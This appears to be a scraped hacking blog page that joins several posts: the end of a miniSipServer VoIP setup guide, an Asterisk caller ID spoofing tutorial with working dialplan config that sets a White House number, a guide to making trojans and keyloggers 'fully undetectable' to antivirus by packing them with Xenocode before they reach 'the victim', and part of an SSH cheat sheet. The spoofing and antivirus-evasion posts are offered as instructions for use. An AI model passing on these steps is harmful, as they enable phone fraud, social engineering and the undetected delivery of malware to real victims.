<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">The benefit of using "auto attendant" to receive incoming call is that the company can provide only one public telephone number to customers and assign different extensions to each employee.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In another way, the default announcement can be modified and replaced. We can change it according to our real requirement, for example, we can change it to "welcome to xxx company,...". Please refer to the "<a href="http://www.myvoipapp.com/docs/mss_services/auto_attendant/index.html" style="color: #0080ff; font-weight: bold; text-decoration: none;">Automatic attendant</a>" document which has been installed with miniSipServer.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Because miniSipServer uses "RFC2833" DTMF mode to collect the customer's input digits, we must confirm with our VOIP provider that they can support this DTMF mode.</span></div>
<h2 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Advance_configuration" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>5. Advance configuration</span></h2>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">When we finish above configurations, we success to establish our basic VOIP system. Is it enough? Of course, no! We want more useful services to support our communication, such as Voice mail, ring group, etc.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Here, we just have a brief look at these services in this document. We can refer to their own service guide documents or visit miniSipServer official website for <a href="http://www.myvoipapp.com/docs/index.html" style="color: #0080ff; font-weight: bold; text-decoration: none;">details</a>. The service guide documents are installed with miniSipServer at the same time.</span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="voice_mail" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>5.1 Voice mail</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Sometime we maybe miss some important call because we have left the office. That means the business is possible gone! How to avoid this? The answer is voice mail. We hope the customer can leave their voice message and the miniSipServer mails these voice messages to our e-mail box, so we can check them at any time.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Please refer to the "<a href="http://www.myvoipapp.com/docs/mss_services/voice_mail/index.html" style="color: #0080ff; font-weight: bold; text-decoration: none;">Voice mail service document</a>".</span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="Ringing_group" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>5.2 Ringing group</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">"Ringing group" is another useful service for our business. For example, when the customer calls Holly, the Holly's phone and the G.T's phone can ring at the same time if they are in the same ring group. So anyone of them can pick up the call.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">Please refer to the "<a href="http://www.myvoipapp.com/docs/mss_services/ring_group/service_guide_ring_group.htm" style="color: #0080ff; font-weight: bold; text-decoration: none;">Ringing group service docuemnt</a>"</span></div>
<h2 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="faq" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>6. FAQ</span></h2>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="faq_sip_port" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>6.1 How to change SIP port?</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">The default SIP port is 5060 (UDP) which is defined in SIP standard. But in some special scenarios, we need change this port to another, for example 5090.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">To do that, we need modify MSS and SIP phones configurations together.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In MSS, please click menu "data -> system information -> SIP" and change the port. Please refer to following figure.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="SIP port in MSS" name="faq_sip_poprt_mss" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/faq_sip_poprt_mss.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">After that, please restart MSS to enable this modification.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">In the Xlite (or other SIP phones), we need indicate it to work with the new port. In the SIP account configuration, please set the "domain" to "<a href="http://192.168.1.110:5090/">192.168.1.110:5090</a>":</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="SIP port in Xlite" name="faq_sip_poprt_xlite" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/faq_sip_poprt_xlite.jpg" /></span></div>
<h3 style="color: #333333; font-family: Georgia,'Times New Roman',Times,serif; font-weight: bold;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" name="faq_stun" style="color: #0080ff; font-weight: bold; text-decoration: none;"></a>6.2 one-way audio or no-way audio problem?</span></h3>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">We are often asked "why I cannot hear peer side?" or "why we cannot hear each other?". The root reason is firewall or NAT(network address translation). In these scenarios, we can often find that MSS and the SIP phones are deployed in an intranet with private IP address.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">First, we need confirm the firewall should not filter the audio streams in our network. For example, windows firewall often do that. We can try to shutdown the firewall and try again. If everything is ok, that means we need add MSS and Xlite to the windows firewall exception list.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">If we still cannot hear each other, we need configure STUN in the SIP phones to process NAT or firewall traversal. In the Xlite, please click menu "Softphons -> Account settings -> Topology". We can configure "Discover public IP address" and configure "<a href="http://stun.xten.com/">stun.xten.com</a>" as the default STUN server.</span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;"><img alt="Configure STUN in Xlite" name="faq_stun_xlite" src="http://www.myvoipapp.com/docs/faq/setup_ippbx_for_small_business_step_by_step/faq_stun_xlite.jpg" /></span></div>
<div style="line-height: 15px;">
<span class="Apple-style-span" style="color: #333333; font-family: Verdana,Arial,Helvetica,sans-serif; font-size: 13px;">BTW, if all your SIP phones are Xlite, you can configure the "Firewall traversal method" to be "auto-detect firewall traversal method using ICE(recommended)".</span></div>
<br />
<div>
<br /></div>
-- <br />
<div dir="ltr">
Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div>
<br /></div>

Index 1. Instruction 2. What's VOIP? 2.1 IP-PBX 2.2 Phones 2.3 VOIP carriers 3. Scenario 4. Configuration...

Caller ID Spoofing with Asterisk

7/03/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS3IdKYrF_dEEwkz2LS6MVLA0DKsPUxQb2eRyk5PbJ2udQ-q21HZObtrZODT4zCninDDBKzXHq3LKpOKjdVtqwpP0tRjSxIBBrBnAg8a0TyYNgF3hjoVNGDUu9CgvklSCgIJY5ltxHqyA/s1600/voip-hack.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Caller ID Spoofing with Asterisk" border="0" height="307" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS3IdKYrF_dEEwkz2LS6MVLA0DKsPUxQb2eRyk5PbJ2udQ-q21HZObtrZODT4zCninDDBKzXHq3LKpOKjdVtqwpP0tRjSxIBBrBnAg8a0TyYNgF3hjoVNGDUu9CgvklSCgIJY5ltxHqyA/s1600/voip-hack.jpg" title="Caller ID Spoofing with Asterisk" width="320" /></a></div>
<br />
<div>
<span class="Apple-style-span"></span><br />
<h3>
<span class="Apple-style-span">Caller ID Spoofing w/ Asterisk</span></h3>
<div class="region region-content">
<div class="block block-system" id="block-system-main" style="clear: both; margin: 0px 0px 15px; position: relative;">
<div class="block-inner clearfix" style="background-image: none; margin-left: 10px; margin-right: 10px;">
<div class="block-content" style="padding: 0px;">
<div class="article-content" style="clear: both; line-height: 1.5em; margin: 1em 0px 0.5em;">
<div class="field field-name-body field-type-text-with-summary field-label-hidden">
<div class="field-item even">
<div class="chili-highlighter highlight-processed">
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span">Caller ID is often thought of as the ultimate way to see who is calling you. People use it to screen calls all the time. When you're able to spoof that number to whatever you would like you can easily defeat human nature of screening out calls from people they don't want to talk to. Besides being able to get in touch with those ignoring your calls it can be an attackers best friend. He or she can simply spoof your bank's number and social engineer you into giving out valuable information. The way people rely on caller ID it is unlikely the victim will realize what has happened until it is far too late.</span></div>
<h3>
Hardware Used:</h3>
<ul style="list-style-type: disc; margin: 0px; padding: 0px 0px 0px 1em;">
<li style="margin: 0px; padding: 0px;"><span class="Apple-style-span">Intel P4 box with 1GB of RAM</span></li>
<span class="Apple-style-span"> </span></ul>
<h3>
Software Used:</h3>
<ul style="list-style-type: disc; margin: 0px; padding: 0px 0px 0px 1em;">
<li style="margin: 0px; padding: 0px;"><span class="Apple-style-span">  Ubuntu 7.10 Server</span></li>
<span class="Apple-style-span">
<li style="margin: 0px; padding: 0px;">Asterisk</li>
<li style="margin: 0px; padding: 0px;">  VMWare Workstation</li>
</span></ul>
<h3>
Prerequisites</h3>
<ul style="list-style-type: disc; margin: 0px; padding: 0px 0px 0px 1em;">
<li style="margin: 0px; padding: 0px;"><span class="Apple-style-span">VoIP service from companies like NuFone or VoicePulse which allow you to use your own PBX</span></li>
<span class="Apple-style-span">
<li style="margin: 0px; padding: 0px;">Asterisk installed and able to run</li>
<li style="margin: 0px; padding: 0px;">  Basic Linux knowledge</li>
</span></ul>
<h3>
Table of Contents</h3>
<ol style="list-style-type: decimal; margin: 0px 0px 1.5em 1.667em; padding: 0px;">
<li style="margin: 0px; padding: 0px;"><span class="Apple-style-span"><a href="http://allanfeid.com/content/caller-id-spoofing-w-asterisk#intro" style="color: black; margin: 0px; padding: 0px; text-decoration: none;">Introduction</a></span></li>
<span class="Apple-style-span">
<li style="margin: 0px; padding: 0px;"><a href="http://allanfeid.com/content/caller-id-spoofing-w-asterisk#config" style="color: black; margin: 0px; padding: 0px; text-decoration: none;">Configuring Asterisk</a></li>
<li style="margin: 0px; padding: 0px;"><a href="http://allanfeid.com/content/caller-id-spoofing-w-asterisk#final" style="color: black; margin: 0px; padding: 0px; text-decoration: none;">Final Thoughts</a></li>
</span></ol>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" id="intro" name="intro" style="font-weight: bold; margin: 0px; padding: 0px; text-decoration: none;"></a></span></div>
<h3>
Introduction</h3>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span">There are 3 main configuration files that need a bit of tweaking to get Asterisk working properly. These are iax.conf, sip.conf, and extensions.conf. The names pretty much tell you what each will be configuring. IAX is Inter-Asterisk Exchange and is the protocol used when connecting two Asterisk servers and is perfect for NAT transversal unlike the nightmare of SIP. SIP is the protocol that software based phones or hardware IP phones use to connect to the Asterisk box and extensions are what process call flow and routing. These configuration files all follow the standard "INI" file type where sections are denoted such as <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">[section1]</code> and variables under sections are declared simply with <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">var=foo</code>.</span></div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span"><a href="https://www.blogger.com/blogger.g?blogID=3385998300716176663" id="config" name="config" style="font-weight: bold; margin: 0px; padding: 0px; text-decoration: none;"></a></span></div>
<h3>
Configuring Asterisk</h3>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span">First thing we'll cover is setting up the connection to your VoIP provider. Most good providers will give you a sample iax configuration file that you can look over for specifics to your service but in most cases simple open up <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">/etc/asterisk/iax.conf</code>and add a few lines at the end as follows:</span></div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
</div>
<div class="content shadow-radial">
[VoicePulse]<br />
type=peer<br />
host=<a href="http://server.example.voicepulse.com/">server.example.voicepulse.com</a><br />
username=SomeuSer<br />
secret=PaSsWorD</div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
</div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span">The first line there gives this connection a human readable name. The type tells Asterisk what type of connection this will be. Peer lets us know we will be sending calls through this connection. <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">Host</code>, <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">username</code>, and <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">secret</code> are all used to make the connection and authenticate. All of this should be given to you by your provider. As you can see this configuration is very basic and there are tons more options that can be done if this was going to be used in a production environment. The next file we need to edit is<code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">/etc/asterisk/sip.conf</code>.</span></div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
</div>
<div class="content shadow-radial">
[sipuser]<br />
type=peer<br />
host=dynamic<br />
username=allan<br />
secret=1234<br />
context=outgoing</div>
<br />
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span">First line is again used to give the connection a name and <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">type</code> lets Asterisk know we can send calls to this connection and also make calls out. Setting <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">host</code> to <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">dynamic</code> ensures Asterisk keeps track of the IP/Hostname of the connection since it uses a dynamic IP. <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">Username</code> and <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">secret</code> are the username and password used to make the connection and context is used to simply tell Asterisk which context in the extension configuration to use. This lets Asterisk route the call as needed and be changed for each SIP user if you would like. The last configuration file for Asterisk is located in the same directory and named <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">extension.conf</code>. Open it up and add the following to the end:</span></div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
</div>
<div class="content shadow-radial">
[outgoing]<br />
exten => _1NXXNXXXXXX,1,SetCallerID(2024561111)<br />
exten => _1NXXNXXXXXX,n,Dial(IAX2/VoicePulse/${EXTEN})</div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
</div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span">Once again the first line is used to give a name to our settings. In this case it is called a context and that is what Asterisk uses to place calls based on your own rules. The next two lines will match any 1 + 10 digit US number. The N's and X's are basically just wild cards N matching any digit greater than 2 and X matching any at all. The 1 tells Asterisk to do that command first and the n is used to say "do this next" is basic terms. <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">SetCallerID()</code> is the key to spoofing caller ID. Here you can change the number to whatever you would like but most providers require a 10 digit number while others will let you even set your caller ID to numbers like 911. The next command is <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">Dial()</code> which is what we use to send off the call. The arguments used tell Asterisk to use the IAX2 protocol to our VoicePulse connection and to route the call to what we've dialed. <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">${EXTEN}</code> is just a global variable used for the number dialed.</span></div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span">Everything should now be setup correctly and ready to use. The only thing left to configure is your softphone or IP phone depending what you are using. This is specific to individual phones and out of the scope of my project but essentially you tell your phone to connect to your Asterisk server. Often times from experience softphones will refer to this as "releam" or "domain" depending what phone you use (I recommend X-Lite or Twinkle). Besides that it will just ask for your username and password which were setup in <code style="font: 1em 'Lucida Console',Monaco,'DejaVu Sans Mono',monospace;">sip.conf</code>.</span></div>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
</div>
<span class="Apple-style-span"><br />
</span> <br />
<center>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
</div>
<div align="center" style="display: block; margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px; text-align: center; width: 820px;">
<span class="Apple-style-span"><b>CID Spoofing In Action</b></span><br />
<span class="Apple-style-span"><img height="299" src="http://allanfeid.com/sites/default/files/cid_white_house.jpg" style="border-width: 0px;" width="500" /></span></div>
</center>
<span class="Apple-style-span">As you can see because of <a href="http://www.voip-info.org/wiki/view/CallerID" style="color: black; font-weight: bold; margin: 0px; padding: 0px; text-decoration: none;" title="Caller ID">CNAM</a> it shows the owner of that number as well as the actual number. Sorry about the image quality I could not take a picture of my phone without it being blurry :( but you get the idea.</span><br />
<br /></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<br />
<h3>
Final Thoughts</h3>
<div style="margin-bottom: 0.8em; margin-top: 0.4em; padding: 0px;">
<span class="Apple-style-span">Caller ID spoofing is not illegal in anyway. You should however worry about committing fraud as there are tons of laws against that. The real use of caller ID spoofing is to just trick your friends and have some fun. Don't do anything stupid. This is just information I'm trying to spread in order to show people that you can't always trust what your caller ID says.</span></div>
</div>
</div>

Asterisk Linux Linux Tutorials SIP Tutorials VoIP Caller ID Spoofing with Asterisk

Caller ID Spoofing w/ Asterisk Caller ID is often thought of as the ultimate way to see who is calling you. People use it t...

Make Keylogger and Trojan Fully Undetectable (FUD)

7/01/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihB5_JBrZg0OW2N1bQP4UPgiiraKAKF01pFk76y6eE-BC8VY5QB6EcfZ00to3nREefUYgFWbe8i8zYTjgC9sm0IgtzPWxbAE3E35dfOK_G67OoEo8sInWkz6aKna0d_APmiw5gSD5Ab68/s1600/xenode.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Make your Trojan Fully Undetectable (FUD)" border="0" height="229" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihB5_JBrZg0OW2N1bQP4UPgiiraKAKF01pFk76y6eE-BC8VY5QB6EcfZ00to3nREefUYgFWbe8i8zYTjgC9sm0IgtzPWxbAE3E35dfOK_G67OoEo8sInWkz6aKna0d_APmiw5gSD5Ab68/s1600/xenode.gif" title="Make your Trojan Fully Undetectable (FUD)" width="320" /></a></div>
<br />
Well making a trojan is very easy now-a-days by using tools such as lostdoor, poisonivy, etc. But the real challenge is to pass the trojan a system's antivirus. Here's a post on the same. Here we used a virtual application creator, Xenocode, which is famous for creating portable applications. It kinda encrypts our trojan and further if we bind our trojan with another exe, it is bound to be executed by the victim. I'll surely post on binding in my next post.<br />
<br />
The encrypted trojan does not match with the virus definitions in the antivirus and hence is rendered undetected.<br />
<br />
<h3>
Make Trojan Fully Undetectable (FUD) using Xenocode</h3>
<br />
You can make your own trojan using LostDoor. But the problem with the so formed trojan is it being detected by almost all AV softwares. We know that after learning to make your own trojan, the next thing you must've exhausted your bandwidth searching for is: "How to make a Trojan undetectable?" Well here is the answer.<br />
<br />
First of all you'll have to download Xenocode (Never heard of it? Google it. This may help you. http://www.xenocode.com/Technology/)<br />
<br />
Xenocode is a set of application virtualization and portable application creation technologies developed by Code Systems Corporation. Applications are packed into single executable files that can be executed instantly on any Windows desktop (so called "portable apps"). The technology therefore emulates only the operation system features that are necessary for the application to run. Applications can be deployed using existing infrastructure, software deployment tools, the web or USB keys. The virtualized application runs independently from other software that is installed on the host PC so there are no conflicts between different versions or DLL files.<br />
<br />
Well, reading the above introduction must've got you acquainted you with xenocode application. You might be wondering, how this application will help you in making your Trojan undetectable.<br />
<br />
Xenocode creates a virtual operating system for processing the files you have virtualized and hence it completely overwrites your code. As you may know, AV softwares use virus signatures to identify viruses. There are ways in which you can make a trojan undetectable by modifying the Hex code, but it is very tedious. Using xenocode alleviates the pain to a negligible level. The only pain you will have is to grab a full version of the application. Keep in mind that trial version xenocode does not create virtual applications. When you will click on the build button, it will prompt you to purchase license. We hope you understand what we mean to say implicitly.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYIgTe77Akz8x6kKJvy0QVkcf7qN8ViIWeSOvNmEK2XnkchsGbX92xQ0wnolx4B6SwhtGntBHk6XuERchPkO6gFf3oEZ9GgfpQYUibQTYrVO1x1ZPh95gaHt8vuchkTHNUAjpf6bnSz0I/s1600/Virtual-Machine-Diagram.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="trojan fud crypter" border="0" height="206" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYIgTe77Akz8x6kKJvy0QVkcf7qN8ViIWeSOvNmEK2XnkchsGbX92xQ0wnolx4B6SwhtGntBHk6XuERchPkO6gFf3oEZ9GgfpQYUibQTYrVO1x1ZPh95gaHt8vuchkTHNUAjpf6bnSz0I/s1600/Virtual-Machine-Diagram.gif" title="trojan fud crypter" width="320" /></a></div>
<br />
<br />
After you download xenocode, give your trojan as the input. Now click on the build button and then specify the location where the output file must be saved. The so formed file is your undetecable Trojan. You can try scanning it with your local AV. Or if you wanna see how far you've gone, upload the file on <a href="http://scanner.novirusthanks.org/" target="_blank">No Virus Thanks</a>. It will provide you results after scannig your file with 20 different AV. Our score for this test was 0 outa 20. No AV detected it and the file still works fine.<br />
<br />
Xenocode download <a href="http://www.ziddu.com/download/8934530/Xenocode_Virtual_Application_Studio_2008.6.1.457.rar.html" target="_blank">link</a></div>

FUD Hacking Tutorials Keylogger rat Trojan Tutorials Xenocode Make Keylogger and Trojan Fully Undetectable (FUD)

Well making a trojan is very easy now-a-days by using tools such as lostdoor, poisonivy, etc. But the real challenge is to pass the troj...

SSH Cheat Sheet

6/28/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<style>
    .markdown-body table {
        border-collapse: separate;
    }
    .markdown-body code, .markdown-body tt {
        background-color: rgba(27,31,35,.05);
        border-radius: 3px;
        font-size: 85%;
        margin: 0;
        padding: .2em .4em;
    }
    .markdown-body table td, .markdown-body table th {
    border: 1px solid #dfe2e5;
    padding: 6px 13px;
    }
    .markdown-body table tr {
    background-color: #fff;
    border-top: 1px solid #c6cbd1;
    }
    .markdown-body table tr:nth-child(2n) {
    background-color: #f6f8fa;
    }
    </style>
    
    <br />
<div class="markdown-body">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwxd-1vZHDmrS8t6yvlLzxN8LzHFUCjJ3rM0hmYxSGxw9uWY13LUiB43mO4UZVla0__DXTYTBpTZ3O92vSGdAsECR5WVqAvsd9fyua0sSfQMWZVQ7v56bkxTpqHu5T0BTJj3LD5YckE0aa/s1600/ssh-cheatsheet.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="224" data-original-width="360" height="398" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwxd-1vZHDmrS8t6yvlLzxN8LzHFUCjJ3rM0hmYxSGxw9uWY13LUiB43mO4UZVla0__DXTYTBpTZ3O92vSGdAsECR5WVqAvsd9fyua0sSfQMWZVQ7v56bkxTpqHu5T0BTJj3LD5YckE0aa/s640/ssh-cheatsheet.png" width="640" /></a></div>
<div style="text-align: left;">
</div>
<div style="text-align: left;">
This page designed to help beginners starting out with SSH by providing a usable “SSH cheat sheet” full of common commands.</div>
<h2>
    1.1 SSH general</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Summary</th></tr>
<tr><td>ssh without input password</td><td><code>sshpass -p '<your-passwd>' ssh <username>@<ssh_host></code>, <code>brew install sshpass</code></td></tr>
<tr><td>Install sshd server</td><td><code>apt-get install openssh</code>, <code>apt-get install openssh-server</code></td></tr>
<tr><td>Restart sshd server</td><td><code>service sshd restart</code>, <code>systemctl reload sshd.service</code></td></tr>
<tr><td>Run ssh command</td><td><code>ssh -o StrictHostKeyChecking=no -p 2702 root@172.17.0.8 date</code></td></tr>
<tr><td>SSH with verbose ouptut</td><td><code>ssh -vvv -p 2702 root@45.33.87.74 date 2>&1</code></td></tr>
<tr><td>Setup ssh tunnel for your web browsing</td><td><code>sshuttle -r kubo@10.92.21.17 30.0.0.0/16 192.168.150.0/24 -e ...</code></td></tr>
<tr><td>SSH passwordless login</td><td><code>ssh-copy-id <username>@<ssh_host></code>, Or manually update <code>~/.ssh/authorized_keys</code></td></tr>
<tr><td>Remove an entry from <code>known_hosts file</code></td><td><code>ssh-keygen -f ~/.ssh/known_hosts -R github.com</code></td></tr>
<tr><td>Diff local file with remote one</td><td><code>diff local_file.txt <(ssh <username>@<ssh_host> 'cat remote_file.txt')</code></td></tr>
<tr><td>Diff two remote ssh files</td><td><code>diff <(ssh user@remote_host 'cat file1.txt') <(ssh user2@remote_host2 'cat file2.txt')</code></td></tr>
<tr><td>Upload with timestamps/permissions kept</td><td><code>scp -rp /tmp/abc/ ec2-user@<ssh-host>:/root/</code></td></tr>
<tr><td>SSH agent load key</td><td><code>exec ssh-agent bash && ssh-add /tmp/id_rsa</code>, <code>ssh-add</code></td></tr>
<tr><td>SSH list all loaded key</td><td><code>ssh-add -l</code></td></tr>
<tr><td>SSH agent create and load key</td><td><code>exec ssh-agent bash && ssh-keygen</code>, <code>ssh-add</code></td></tr>
<tr><td>Emacs read remote file with tramp</td><td><code>emacs /ssh:<username>@<ssh_host>:/path/to/file</code></td></tr>
</tbody></table>
<h2>
        1.2 SSH tunnel & ssh proxy</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Summary</th></tr>
<tr><td>SSH port forward to a local port</td><td><code>ssh -N -i <ssh-keyfile> -f root@54.179.178.214 -L *:18085:localhost:8085 -n /bin/bash</code></td></tr>
<tr><td>Reverse port forward to remote server</td><td><code>ssh -R *:40099:localhost:22 root@54.179.178.214</code>, <code>ssh -p 40099 root@54.179.178.214</code></td></tr>
<tr><td>Setup ssh tunnel for your web browsing</td><td><code>sshuttle -r kubo@10.92.21.17 30.0.0.0/16 192.168.111.0/24 192.168.150.0/24 192.167.0.0/24</code></td></tr>
</tbody></table>
<h2>
        <a aria-hidden="true" class="anchor" href="https://github.com/DennyZhang/cheatsheet-ssh-A4#13-scp" id="user-content-13-scp"><svg aria-hidden="true" class="octicon octicon-link" height="16" viewbox="0 0 16 16" width="16"></svg></a></h2>
<h2>
        1.3 SCP</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Summary</th></tr>
<tr><td>Download a remote folder</td><td><code>scp -r ec2-user@<ssh-host>:/home/letsencrypt-20180825 ./</code></td></tr>
<tr><td>Upload a file</td><td><code>scp -i <ssh-keyfile> /tmp/hosts ec2-user@<ssh-host>:/root/</code></td></tr>
<tr><td>Upload a folder</td><td><code>scp -r /tmp/abc/ ec2-user@<ssh-host>:/root/</code></td></tr>
<tr><td>Upload with timestamps/permissions kept</td><td><code>scp -rp /tmp/abc/ ec2-user@<ssh-host>:/root/</code></td></tr>
